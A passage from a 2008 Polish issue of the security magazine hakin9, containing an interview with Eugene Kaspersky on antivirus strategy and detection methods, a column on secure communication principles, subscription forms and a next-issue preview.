Książka jest warta polecenia administratorom oraz pro-

jektantom środowisk opartych o system Windows Server
2003.

Rafał Pop

www.hakin9.org

hakin9 Nr 3/2008

Wywiad

hakin9:

Czy mógłbyś przedstawić się naszym

Czytelnikom?

Eugene Kaspersky:

Nazywam się Euge-

ne Kaspersky i jestem założycielem oraz CEO
(Chief  Executive  Officer)  firmy  Kaspersky  Lab,
jednego  z  wiodących  producentów  dostarcza-
jących  bezpiecznych  rozwiązań  informatycz-
nych na całym świecie. Przez ostatnie 18 lat mia-
łem do czynienia z zagrożeniami komputerowy-
mi – zaczynając od konwencjonalnych wirusów
jeszcze w 1989 roku, na nowoczesnych, złożo-
nych i gwałtownie rosnących liczebnie niebezpie-
czeństwach internetowych kończąc.

h9:

Czy mógłbyś wyjawić sekrety dotyczące stra-

tegii firmy Kaspersky w nadchodzącym 2008 ro-
ku?

EK:

W pierwszej kolejności planujemy umoc-

nić  naszą  obecność  na  wszystkich  obszarach
geograficznych.  W  chwili  obecnej  przodujemy
w sprzedaży w Europie i Stanach Zjednoczonych
(zajmujemy pierwsze miejsce w handlu detalicz-
nym w Niemczech, Austrii i Szwajcarii, drugie we
Francji oraz trzecie w Hiszpanii), lecz nadal za-
leży nam na zdobyciu lepszej pozycji w krajach
Ameryki  Łacińskiej,  Azji,  na  Bliskim  Wschodzie
czy w Afryce. Na drugim miejscu stawiamy po-
dążanie za postępem technologicznym oraz cią-

gły rozwój najlepszych na świecie rozwiązań an-
tywirusowych.

I po trzecie, w 2008 roku zamierzamy skupić

się na umocnieniu pozycji na rynku rozwiązań ko-
mercyjnych. W chwili obecnej obserwujemy za-
skakujący wzrost sprzedaży produktów skiero-
wanych do użytkownika domowego, lecz najwyż-
sza pora na przejęcie rynku biznesowego. Po-
siadamy w ofercie kilka korporacyjnych produk-
tów, które skupiają na sobie uwagę coraz więk-
szej ilości klientów z całego świata, od Australii
do Szwecji.

Ponadto planujemy kontynuować rozwijanie

naszych  bezpiecznych  usług  oferowanych  fir-
mom.  W  wielu  przypadkach  rozwiązania  te  są
najbardziej  odpowiednie  dla  określonego  typu
biznesu,  który  nie  może  sobie  pozwolić  na  za-
kup  dodatkowego  wyposażenia,  oprogramowa-
nia oraz zatrudnienia dodatkowych oficerów bez-
pieczeństwa.  Myślę,  iż  jest  to  bardzo  obiecują-
cy rynek.

h9:

Kto wprowadził cię w świat komputerów?

EK:

Początkowo komputery pojawiły się w mo-

im życiu z powodu moich matematycznych
studiów na uczelni. W tamtych czasach kompu-
tery były narzędziem służącym mojej matematy-
ce i edukacji, wliczając w to częściowo informaty-

Wywiad z Eugenem

Kasperskym

Eugene Kaspersky należy do

czołowych ekspertów w dziedzinie

bezpieczeństwa informacji: jest

autorem wielu artykułów

i recenzji dotyczących problematyki

wirusologii komputerowej, regularnie

przemawia na specjalistycznych

seminariach i konferencjach

organizowanych na całym świecie.

hakin9 Nr 3/2008

www.hakin9.org

Wywiad

kę. Z pierwszym wirusem miałem do czynienia kilka lat póź-
niej, w 1989, podczas mojej służby wojskowej, gdy do mo-
ich obowiązków należało programowanie i gdzie posiada-
łem dostęp do niesamowicie zaawansowanej maszyny jak
na tamte czasy i moje stanowisko – Olivetti M24. Maszy-
na ta została niespodziewanie zainfekowana powszechnie
znanym wirusem Cascade, który był pierwszym złośliwym
oprogramowaniem, które przeanalizowałem i na które stwo-
rzyłem lekarstwo.

h9:

Czy byłeś dzieckiem blackhat, jak wielu Czytelników

magazynu hakin9 w latach 80-90?

EK:

Nigdy. W latach 80-tych i wczesnych 90-tych pracowa-

łem nad bezpieczeństwem komputerowym i nie miało to nic
wspólnego z terminami blackhat czy hacking. Ponadto wie-
rzę w czarny i biały wszechświat – jeśli raz spróbowałeś nie-
legalnych działań, nigdy już nie będziesz w stanie przejść
na dobrą stronę i chronić ludzi. I jako ostatnie pragnę zazna-
czyć, iż żaden były haker nie pracuje w mojej firmie, mimo,
że kilku z nich przysyła nam od czasu do czasu swoje CV.

h9:

AV bazujące na sygnaturach były mocno krytykowane.

Czy sądzisz, że ten trend zmieni się w przyszłości?

EK:

Oczywistym jest fakt, iż w dzisiejszych czasach ob-

serwujemy  wzrost  ilości  złośliwego  oprogramowania,
a w związku z tym coraz trudniej będzie borykać się z tym
problemem firmom zajmującym się bezpieczeństwem. Jak-
kolwiek, obecnie wszystkie największe firmy są przygoto-
wane do tego wzrastającego trendu, a metoda bazująca na
sygnaturach pozostaje głównym i najbardziej precyzyjnym
sposobem wykrywania i neutralizowania zagrożeń. Oczy-
wiście heurystyka i detekcja opierająca się na analizie za-
chowawczej  będą  odgrywały  coraz  większą  rolę,  równo-
cześnie  zwiększając  efektywność,  lecz  nie  sądzę,  aby  te
metody były w stanie całkowicie zastąpić metodę bazują-
cą na sygnaturach.

h9:

W jaki sposób utrzymujecie precyzyjność sygnatur

AV?

EK:

Jeśli masz na myśli, w jaki sposób wykluczamy fał-

szywe trafienia – robimy to za pomocą podwójnych i po-
trójnych testów na wszystkich sygnaturach zagrożeń. Te-
stujemy je i analizujemy pod kątem rzekomego złośliwe-
go zachowania, z zachowaniem zasady, aby nie doda-
wać sygnatury w przypadku nieszkodliwego i użyteczne-
go oprogramowania.

h9:

Jak zamierzacie rywalizować w istniejącym wyścigu

oprogramowania AV?

EK:

To zabawne pytanie, gdyż już obecnie współzawod-

niczymy w świecie oprogramowania AV. Aktualnie nasza
firma znajduje się na 6 pozycji na rynku globalnych bez-
piecznych rozwiązań i w roku 2008 mamy nadzieję zająć
5 miejsce. Ale oczywiście nie jest to nasz jedyny cel.

h9:

Co robić przeciwko wirusom polimorficznym?

EK:

To jest bardzo dobre pytanie, na które nie jest łatwo

odpowiedzieć, gdyż jest ono zbyt techniczne. Przeciwko
poliwirusom używamy różnych metod, takich jak: emu-
lacja, detekcja szkieletowa, analiza statystyczna, metody
kryptologiczne i inne – w zależności od konkretnie zasto-
sowanego algorytmu polimorficznego.

h9:

Nadal istnieje wielu dostawców AV, których produkty

bazują jedynie na detekcji sygnatur.

EK:

Tak, nadal jest kilka takich firm, lecz ich sytuacja jest

bez nadziei na poprawę. Będą musieli dorównać pozo-
stałym lub staną się historią. Analizy oparte jedynie na
sygnaturach, nie mogą mierzyć się z tysiącami nowego
złośliwego oprogramowania powstającymi każdego tygo-
dnia i proaktywne technologie staną się koniecznym uzu-
pełnieniem dla metod opartych o wyłącznie o sygnatury.

h9:

Jakie narzędzia są używane w twojej firmie lub z ja-

kich narzędzi korzystacie przy tworzeniu własnych?

EK:

Częściowo używamy popularnych narzędzi przy-

gotowanych przez inne firmy zajmujące się bezpieczeń-
stwem. Czasami jednak nasze zadanie jest zbyt unikalne
(na przykład jesteśmy jedynymi, którzy stosują aktuali-
zacje sygnatur co godzinę), więc musimy tworzyć i uży-
wać nasze własne narzędzia. Korzystamy z zaprojekto-
wanych przez nas samych, automatycznych analizato-
rów złośliwego oprogramowania oraz analizatorów heu-
rystycznych.

h9:

Czy wierzysz, iż wielu badaczy tworzy złośliwe opro-

gramowanie?

EK:

Cóż, 25 czy nawet 15 lat temu to się zdarzało, lecz

nie w chwili obecnej. Na przykład pierwszy wirus na plat-
formę biurową został utworzony w 1982 roku przez ba-
daczy, w celu udowodnienia teorii o możliwości istnie-
nia samo-rozprzestrzeniającego się oprogramowania.
Obecnie twórcy wirusów nie są badaczami ani chuligana-
mi – są kryminalistami i ich głównym celem jest cel przy-
świecający wszystkim przestępcom – nielegalne zarabia-
nie pieniędzy. Najpopularniejsze złośliwe oprogramowa-
nie zostało w większości stworzone wyłącznie w jednym
celu – by generować nielegalne dochody. Kradzież da-
nych dotyczących kart kredytowych, ataki DDoS, SPAM
– to tylko kilka przykładów na zarabianie przy pomocy mal-
ware'u. Wszystko, co miało zostać odkryte na tym polu, zo-
stało wynalezione, teraz ta wiedza jest jedynie wprowadza-
na w życie.

h9:

Dziękujemy za rozmowę.

EK:

Dziękuję.

hakin9 Nr 3/2008

www.hakin9.org

ałóżmy, że istnieje komunikacja, w której kompu-
ter występuje tylko, jako specjalistyczne medium,
przystosowane do warunków stawianych tej komu-

nikacji, przez które zachodzi owa komunikacja. Załóżmy,
że  komunikacja  ta  potrafi  zapewnić  takie  same  warunki
transmisji  bez  względu  na  rodzaj  przesyłanych  danych.
Posiada  ona  zdolność  realizacji  transmisji  (dostarczania
i odbierania informacji) w dokładnie wyznaczonym przez
użytkownika czasie. Rozpoczęta transmisja będzie posia-
dać zdolność do odtwarzania przekazywanych informacji
pomiędzy  dwoma  punktami  komunikacyjnymi  (np.  klien-
tem i serwerem) z wymaganą przez użytkownika dokład-
nością. Pod pojęciem dokładności kryje się tutaj zdolność
zachowania  identycznej  treści  informacji  wysłanej  przez
nadawcę i dostarczonej do odbiorcy. Oczywiście, najważ-
niejszym  założeniem  komunikacji  jest  jej  poufność,  czyli
uniemożliwienie do przechwycenia nawiązanej łączności.

Posiadając zdefiniowane podstawowe założenia, które

spełnia  technologia,  należy  do  niej  przygotować  odpo-
wiednich  operatorów,  czyli  osoby  funkcyjne  przestrzega-
jące  warunków  bezpieczeństwa  łączności.  Osoby  uży-
wające  z  założenia  bezpiecznej  transmisji  same  muszą
postępować  według  ściśle  określonych  reguł,  by  poziom
poufności  komunikacji  nie  został  naruszony  poprzez  jej
nieodpowiednie  wykorzystanie.  Z  założenia  osoby  takie
powinny    wyłącznie  transmitować  za  jej  pomocą  wiado-
mości  niezbędne  do  przekazania  zamierzonych  informa-
cji, wykorzystywać tylko łącza między zaufanymi i ziden-
tyfikowanymi  punktami  komunikacyjnymi,  dokonywać
okresowych  zmian  w  kryptografii  transmisji  z  osobistym
powiadomieniem  drugiej  strony  o  zaistniałym  fakcie,
a  w  przypadku  łączności  bezprzewodowej  –  pracować
z  minimalną,  niezbędną  mocą  urządzeń  transmisyjnych,
stosując  anteny  kierunkowe,  pozostające  w  minimalnej
widoczności; w przypadku łączności mobilnej – wybierać
właściwe  miejsca  na  dokonywanie  komunikacji.  Poprzez
stosowanie  się  do  tych  postanowień  wyznaczamy  tylko
pewien  procent  pełnej  zgodności  z  bezpieczeństwem
komunikacji,  ponieważ  np.  dokonując  okresowych  zmian
w kodowaniu łącza nie możemy sobie pozwolić na zmianę
danych kryptograficznych w innym terminie, niż to zosta-
ło uzgodnione z drugą stroną. Ponadto do listy zakazów
możemy dodać zapisywanie kluczy, loginów i danych iden-

Założenia komunikacji

tyfikacyjnych  na  nie  rejestrowanych  nośnikach  danych.
Mając  na  myśli  wiadomości  niezbędne  do  przekazania
zamierzonych  informacji  wyklucza  się  ujawnianie  w  trak-
cie  komunikacji  takich  informacji  jak:  przyjętych  nicków
czy  kryptonimów,  pełnych  lub  częściowych  danych  per-
sonalnych  (nazwisk,  posad,  stanowisk,  adresów),  lokali-
zacji środków łączności, terminów nawiązywania kolejnych
transmisji czy podsumowań wymiany informacji.

Wszystkie te wytyczne i założenia stanowią zaledwie

część  pełnych  zasad  bezpieczeństwa  komunikacji.  Mają
one  na  celu  uniemożliwienie  osobie  postronnej  ingeren-
cji w naszą komunikację, jej przechwycenie oraz lokaliza-
cję środków łączności czy rozpoznanie osób ją nawiązu-
jących. Widocznym na pierwszy rzut oka jest fakt bardzo
restrykcyjnych  i  ograniczających  etykiet  w  swobodzie
przepływu informacji. Co zawsze paradoksalnie wpływa-
ło  na  stosunek:  bezpieczeństwo  –  swoboda,  ponieważ
najważniejszymi  założeniami  komunikacji  jest  swobod-
ne  przekazywanie  informacji  z  zachowaniem  najwięk-
szej jej poufności. Dlatego w wielu projektach komunika-
cyjnych, w wyniku znalezienia kompromisu między tymi
dwoma z natury sprzecznymi zjawiskami, powstaje luka,
której  wykorzystanie  zazwyczaj  opiera  się  na  wykorzy-
staniu słabości bezpieczeństwa w celu dotarcia do swo-
bodnie  przekazywanych  informacji.  Rezygnując  z  prze-
kazywania  wrażliwych  z  punktu  widzenia  możliwości
wykorzystania informacji, unikamy ryzyka nawet w przy-
padku  przełamania  zabezpieczeń  komunikacji.  Jednak
z założenia głównym celem komunikacji jest przekazywa-
nie właśnie takich informacji. W tym klasycznym modelu
o  swobodzie  i  bezpieczeństwie  komunikacji  decyduje
zarówno nadawca, jak i odbiorca informacji. Jeśli, mimo
stosowanych zasad, nadawca osiągnął to, o co mu cho-
dziło,  a  odbiorca  otrzymał  to,  na  co  oczekiwał  –  jakość
komunikacji jest wysoka. Jeśli nadawca prosi o wykonanie
danej  czynności,  a  odbiorca  ją  wykonuje  –  komunikacja
jest skuteczna. Jeśli podczas komunikacji odbiorca może
stosować dopytywanie, parafrazowanie lub empatyzowa-
nie  informacji  przekazywanych  przez  nadawcę  –  komu-
nikacja  jest  swobodna.  Natomiast  jeśli  wszystkie  powyż-
sze trzy warunki są spełnione jednocześnie – komunikacja
nigdy nie będzie postrzegana jako bezpieczna, bez wzglę-
du na stosowaną technologię. l

Patryk Krawaczyński agresor@nfsec.pl

Felieton

Tytuł

Ilość numerów

w roku

Ilość zamawianych

prenumerat

Od numeru pisma

lub miesiąca

Opłata w zł

z VAT

hakin9 (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

900

Dodatkowy drukowany egzemplarz

W sumie

(liczba prenumerat x cena)

Formularz zamówienia prenumeraty

Dane osoby / firmy zamawiającej

Imię i nazwisko

Stanowisko

ID kontrahenta*

* jeżeli jesteś już klientem firmy Software-Wydawnictwo Sp. z o.o. – wystarczy, że podasz swój numer ID kontrahenta; jeżeli nie posiadasz takiego numeru, podaj swe dane teleadresowe

Upoważniam firmę Software-Wydawnictwo Sp. z o.o. do wystawienia faktury VAT bez podpisu odbiorcy

Pieczęć firmy i podpis

Nazwa firmy

Dokładny adres

Telefon (wraz z numerem kierunkowym)

Faks (wraz z numerem kierunkowym)

Adres e-mail

Numer NIP firmy

Prosimy wypełnić czytelnie i przesłać faksem na numer:

(22) 427 36 69

lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,

Bokserska 1, 02-682 Warszawa,

e-mail: pren@software.com.pl

Przyjmujemy też zamówienia telefoniczne:

(22) 427 36 79

UWAGA: Nadesłanie zamówienia jest jednocześnie zobowiązaniem do zapłaty.

w w w . b u y i t p r e s s . c o m . p l

Prenumerata korporacyjna hakin9 pozwoli Ci

na dowolne powielenie i rozpowszechnianie pisma

w obrębie Twojej firmy

Numer konta: NORDEA BANK POLSKA 46 1440 1299 0000 0000 0391 8238

W ramach prenumeraty korporacyjnej otrzymają Państwo:

1. Pismo w wersji elektronicznej

2. Dwa dodatkowe egzemplarze w wersji drukowanej

3. CD-ROM zawierający archiwum wszystkich numerów z 2006 roku

Zaprenumeruj swoje ulubione magazyny

i zamów archiwalne numery!

Już teraz w kilka minut możesz zaprenumerować swoje ulubione pismo.
Gwarantujemy:

- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!

www.buyitpress.com

Prosimy wypełnić czytelnie i przesłać faksem na numer:

(22) 244 24 59 lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,

Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne:

(22) 427 36 79

Imię i nazwisko............................................................................................ ID kontrahenta..........................................................................................

Nazwa firmy................................................................................................. Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................

Zamówienie prenumeraty

Cena prenumeraty rocznej dla osób prywatnych

Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+

W lipcu i sierpniu ukazuje się jeden wakacyjny numer

Jeżeli chcesz zapłacić kartą kredytową, wejdź na

stronę naszego sklepu internetowego:

www.buyitpress.com

automatyczne przedłużenie prenumeraty

Tytuł

Ilość

numerów

Ilość

zamawianych

prenumerat

Od numeru

pisma lub

miesiąca

Opłata

w zł

z VAT

Software Developer’s Journal (1 płyta CD)

– dawniej Software 2.0

Miesięcznik profesjonalnych programistów

250/180

SDJ Extra

(od 1 do 4 płyt CD lub DVD)

– dawniej Software 2.0 Extra!

Numery tematyczne dla programistów

150/135

Linux+DVD (2 płyty DVD)

Miesięcznik o systemie Linux

199/179

Linux+Extra! (od 1 do 7 płyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa

232/198

PHP Solutions (1 płyta CD)

Dwumiesięcznik o zastosowaniach języka PHP

135

hakin9 - jak się obronić (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

199

/219

.psd (2 płyty CD)

Miesięcznik użytkowników programu Adobe Photoshop

199

.psd numery specjalne

(.psd Extra + .psd Starter Kit)

140

3DFX

Dwumiesięcznik miłośników grafiki trójwymiarowej

140

Suma

hakin9 Nr 3/2008

www.hakin9.org

Aktualne informacje o najbliższym numerze

http://www.hakin9.org/pl
Numer w sprzedaży na początku kwietnia 2008 r.

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

4/2008

w następnym numerze między

innymi:

Zapowiedzi

Zagrożenia płynące z używania Bluetooth’a

Bluetooth jest sukcesorem takich interfejsów, jak IRDA czy FastIRDA. Arty-
kuł Mariana Witkowskieg opisuje jakie zagrożenia niesie ze sobą nieumiejęt-
ne korzystanie z tej technologii.

Formaty graficzne

z punktu widzenia bughuntera

W tym numerze Michał Składnikiewicz podją temat błędów w aplikacjach
korzystających z formatu BMP. W następnym miesiącu zajmie się kolejnymi
formatami graficznymi.

Hashlimit

Jednym ze znakomitych sposobów dozbrajania oraz poszerzania funkcjo-
nalności firewalla, jest korzystanie z łatki hashlimit. Oferowane przez nią
możliwości są ograniczone jedynie wyobraźnią administratora. Opisane w
artykule rozwiązania będą przedstawiane oraz testowane w rzeczywistym
środowisku, które obsługuje sieć na parę tysięcy klientów z dostępem do
Internetu (lokalny ISP). Konfigurować będziemy główny router a zarazem
firewall, który kontroluje ruch internetowy indywidualnych klientów oraz
serwera usługowego z zainstalowanymi usługami WWW/FTP/mail/DNS/
SSH i Verlihub.

NA CD:

•   hakin9.live – bootowalna dystrybucja Linuksa,
•   mnóstwo narzędzi – niezbędnik hakera,
•   tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach,
•   dodatkowa dokumentacja,
•   pełne wersje komercyjnych aplikacji.

Atak

Obrona